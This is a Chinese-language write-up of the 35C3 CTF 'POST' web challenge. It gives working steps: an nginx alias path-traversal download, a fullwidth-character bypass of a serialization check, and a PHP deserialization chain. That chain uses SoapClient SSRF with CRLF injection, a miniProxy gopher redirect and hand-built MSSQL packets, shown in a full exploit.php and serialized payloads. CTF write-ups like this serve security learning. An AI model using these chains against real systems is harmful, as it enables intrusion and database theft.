35C3_POST_wp

35c3正赛可真是比Junior难多了

POST

题目描述

1
2
3
4
5
6
7
Go make some posts.

Hint: flag is in db

Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge

Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.

获取源码

随便注册账号然后登陆,没有什么进展。

尝试xss成功弹窗,但是看到hint2 ——insignificant for the challenge

用刚安装的扫描工具扫一波

注意到

1
2
[16:22:32] 403 -  580B  - /uploads
[16:22:32] 403 - 580B - /uploads/

两种路径都是403,再结合题目是nginx。

尝试

1
http://35.207.83.242/uploads../

果然配置错误导致上层目录跳转任意文件下载。

拿下来源码

1
wget -m http://35.207.83.242/uploads../

里面有nginx的配置文件,发现错误配置

location /uploads { #应该写成 /uploads/
    autoindex on;
    alias /var/www/uploads/;
}

攻击思路

根据hint1提示要打数据库,但是审计后发现注入是不可能了。

只能另寻路线了。

在db.php中发现

1
2
3
4
5
6
7
8
9
10
private static function retrieve_values($res) {
$result = array();
while ($row = sqlsrv_fetch_array($res)) {
$result[] = array_map(function($x){
return preg_match('/^\$serializedobject\$/i', $x) ?
unserialize(substr($x, 18)) : $x;
}, $row);
}
return $result;
}

看到了发序列化的希望,立刻想到一条攻击线路

反序列化SoapClient进行SSRF,然后利用gopher打数据库。数据库的账号密码都给出来了,这条线路好像可行。

源码审计

先跟进可以反序列化的retrieve_values函数

在query函数中调用了它

1
2
3
4
5
6
7
8
9
10
public static function query($sql, $values=array()) {
if (!is_array($values)) $values = array($values);
if (!DB::$init) DB::initialize();


$res = sqlsrv_query(DB::$con, $sql, $values);
if ($res === false) DB::error();

return DB::retrieve_values($res);
}

再看插入方法

1
2
3
4
5
6
7
8
9
public static function insert($sql, $values=array()) {
if (!is_array($values)) $values = array($values);
if (!DB::$init) DB::initialize();

$values = DB::prepare_params($values);

$x = sqlsrv_query(DB::$con, $sql, $values);
if (!$x) throw new Exception;
}

这里对values进行了prepare_params操作,跟进prepare_params

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static function prepare_params($params) {
return array_map(function($x){
if (is_object($x) or is_array($x)) {
return '$serializedobject$' . serialize($x);
}

if (preg_match('/^\$serializedobject\$/i', $x)) {
die("invalid data");
return "";
}

return $x;
}, $params);
}

插入语句的条件和进行反序列化的条件显然是矛盾的。

这里需要用到一个mssql的小trick。

1
mssql会将全角unicode转换为ascii码的形式

例如℮( 0xE284AE),将它录入mssql时会自动转换为e(0x65)。

这样就可以构造数据进行绕过了。

尝试SSRF

进行ssrf前还需要解决一个问题,如何触发SoapClient的__call()。

在Attachment类中发现了一个变量za,在__toString中对它有如下操作

1
2
3
4
5
6
7
8
public function __toString() {
$str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
if (!is_null($this->za)) {
$this->za->open("../".$this->url);
$str .= "with ".$this->za->numFiles . " Files.";
}
return $str. ")";
}

如果我们把za赋值为一个SoapClient类,因为SoapClient类中不存在open方法,那么就可以调用到__call方法实现ssrf。

这样又出现一个问题,怎么调用到Attachment的__toString()。

在defalut页面

1
2
3
4
5
6
7
8
9
10
11
$posts = Post::loadall();
if (empty($posts)) {
echo "<b>You do not have any posts. Create <a href=\"/?action=create\">some</a>!</b>";
} else {
echo "<b>You have " . count($posts) ." posts. Create <a href=\"/?action=create\">some</a> more if you want! Or <a href=\"/?action=restart\">restart your blog</a>.</b>";
}

foreach($posts as $p) {
echo $p;
echo "<br><br>";
}

echo操作会触发Post类的__tostring(),跟进一下

1
2
3
4
5
6
7
8
9
10
public function __toString() {
$str = "<h2>{$this->title}</h2>";
$str .= $this->content;
$str .= "<hr>Attachments:<br><il>";
foreach ($this->attachment as $attach) {
$str .= "<li>$attach</li>";
}
$str .= "</il>";
return $str;
}

如果content是SoapClient类,那么他会触发SoapClient的__tostring()。

到此为止SSRF的攻击链已经完成了

序列化构造

1
2
3
4
5
6
7
8
9
10
<?php
class Attachment {
private $za;
public function __construct() {
$this->za = new SoapClient(null,array('location'=>ip,'uri'=>ip));
}
}
$a=new Attachment();
$a=serialize($a);
echo $a;

payload

1
$serializedobject$O:10:"Attachment":1:{s:14:"Attachmentza";O:10:"SoapClient":3:{s:3:"uri";s:21:"http://localhost:2333";s:8:"location";s:21:"http://localhost:2333";s:13:"_soap_version";i:1;}}

miniProxy绕过

nginx 设置了只接受GET,而Soap发出的是POST请求。

但是SoapClientl的_user_agent属性存在CRLF注入,通过\n\n再注入一个GET请求。

而mimiProxy设置只能接受http/https的请求,但是通过如下代码

1
2
3
4
5
$responseURL = $responseInfo["url"];
if ($responseURL !== $url) {
header("Location: " . PROXY_PREFIX . $responseURL, true);
exit(0);
}

可以构造恶意代码重定向到gopher请求中去。

gopher打MSSQL

虽然没有回显,但是可以修改数据库中值,我们可以把我们上传的content改成数据库中的flag的值 。

构造mssql数据包执行如下语句

1
INSERT INTO posts (userid, content, title, attachment) VALUES (1, (select flag from flag.flag), "123", "123");-- -

末尾是为了注释掉gopher 自动添加的内容。

然后在default访问时加入 debug:1 得到UID

安装mssql再抓流量很麻烦,直接使用官方的exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
// the prelogin and login packets can either be assembled
// by hand if you are into that kind of stuff.
// or you can just use wireshark :)
$prelogin_packet = "\x12\x01\x00\x2f\x00\x00\x01\x00";
$prelogin_packet .= "\x00\x00\x1a\x00\x06\x01\x00\x20";
$prelogin_packet .= "\x00\x01\x02\x00\x21\x00\x01\x03";
$prelogin_packet .= "\x00\x22\x00\x04\x04\x00\x26\x00";
$prelogin_packet .= "\x01\xff\x00\x00\x00\x01\x00\x01";
$prelogin_packet .= "\x02\x00\x00\x00\x00\x00\x00";
$login_packet = "\x10\x01\x00\xde\x00\x00\x01\x00";
$login_packet .= "\xd6\x00\x00\x00\x04\x00\x00\x74";
$login_packet .= "\x00\x10\x00\x00\x00\x00\x00\x00";
$login_packet .= "\x54\x30\x00\x00\x00\x00\x00\x00";
$login_packet .= "\xe0\x00\x00\x08\xc4\xff\xff\xff";
$login_packet .= "\x09\x04\x00\x00\x5e\x00\x07\x00";
$login_packet .= "\x6c\x00\x0a\x00\x80\x00\x08\x00";
$login_packet .= "\x90\x00\x0a\x00\xa4\x00\x09\x00";
$login_packet .= "\xb6\x00\x00\x00\xb6\x00\x07\x00";
$login_packet .= "\xc4\x00\x00\x00\xc4\x00\x09\x00";
$login_packet .= "\x01\x02\x03\x04\x05\x06\xd6\x00";
$login_packet .= "\x00\x00\xd6\x00\x00\x00\xd6\x00";
$login_packet .= "\x00\x00\x00\x00\x00\x00\x61\x00";
$login_packet .= "\x77\x00\x65\x00\x73\x00\x6f\x00";
$login_packet .= "\x6d\x00\x65\x00\x63\x00\x68\x00";
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00";
$login_packet .= "\x6e\x00\x67\x00\x65\x00\x72\x00";
$login_packet .= "\xc1\xa5\x53\xa5\x53\xa5\x83\xa5";
$login_packet .= "\xb3\xa5\x82\xa5\xb6\xa5\xb7\xa5";
$login_packet .= "\x6e\x00\x6f\x00\x64\x00\x65\x00";
$login_packet .= "\x2d\x00\x6d\x00\x73\x00\x73\x00";
$login_packet .= "\x71\x00\x6c\x00\x6c\x00\x6f\x00";
$login_packet .= "\x63\x00\x61\x00\x6c\x00\x68\x00";
$login_packet .= "\x6f\x00\x73\x00\x74\x00\x54\x00";
$login_packet .= "\x65\x00\x64\x00\x69\x00\x6f\x00";
$login_packet .= "\x75\x00\x73\x00\x63\x00\x68\x00";
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00";
$login_packet .= "\x6e\x00\x67\x00\x65\x00";
// need to add a ;-- - to execute the query successfully,
// because gopher adds a \x0d\x0a to the end of the request
// and for some reaason the query does not execute if we don't
// comment that out
$query = $argv[1] . ";-- -";
$query = mb_convert_encoding($query, "utf-16le");
// the length of the packet is the length of the query +
// the length of the header (30 bytes) + the \x0d\x0a added
// by gopher protocol
$length = strlen($query) + 30 + 2;
$query_packet = "\x01\x01" . pack("n", $length) . "\x00\x00\x01\x00";
$query_packet .= "\x16\x00\x00\x00\x12\x00\x00\x00";
$query_packet .= "\x02\x00\x00\x00\x00\x00\x00\x00";
$query_packet .= "\x00\x00\x01\x00\x00\x00";
$query_packet .= $query;
$payload = $prelogin_packet . $login_packet . $query_packet;
// we want to deserialize an Attachment, since the application
// will make a call on the "za" property ($this->za->open(...))
class Attachment {
public function __construct($za) {
$this->za = $za;
}
}
// We use a SoapClient to make arbitrary HTTP calls. There is a
// proxy running on localhost which we can use to redirect the HTTP
// request to a gopher request (which we will then use to connect to
// MSSQL).
// However, the proxy only accepts GET requests and SoapClient generates
// POST requests only. Luckily, the _user_agent property is vulnerable to
// CRLF injection and we can do a request splitting by injecting two
// new lines and then our GET payload.
class BoapClient {
public $uri = "http://localhost:8080/miniProxy.php";
public $location = "http://localhost:8080/miniProxy.php";
public $_user_agent = NULL;
public function __construct() {
global $payload;
$this->_user_agent = "AAAAAHaha\n\nGET /miniProxy.php?gopher:///db:1433/A".str_replace("+","%20",urlencode($payload))." HTTP/1.1\nHost: localhost\n\n";
}
}
$a = new Attachment(new BoapClient);
echo base64_encode("\$serializedobject\xef\xbc\x84".str_replace("BoapClient", "SoapClient", serialize($a)));

拿flag

将恶意数据直接上传,然后刷新主页得到flag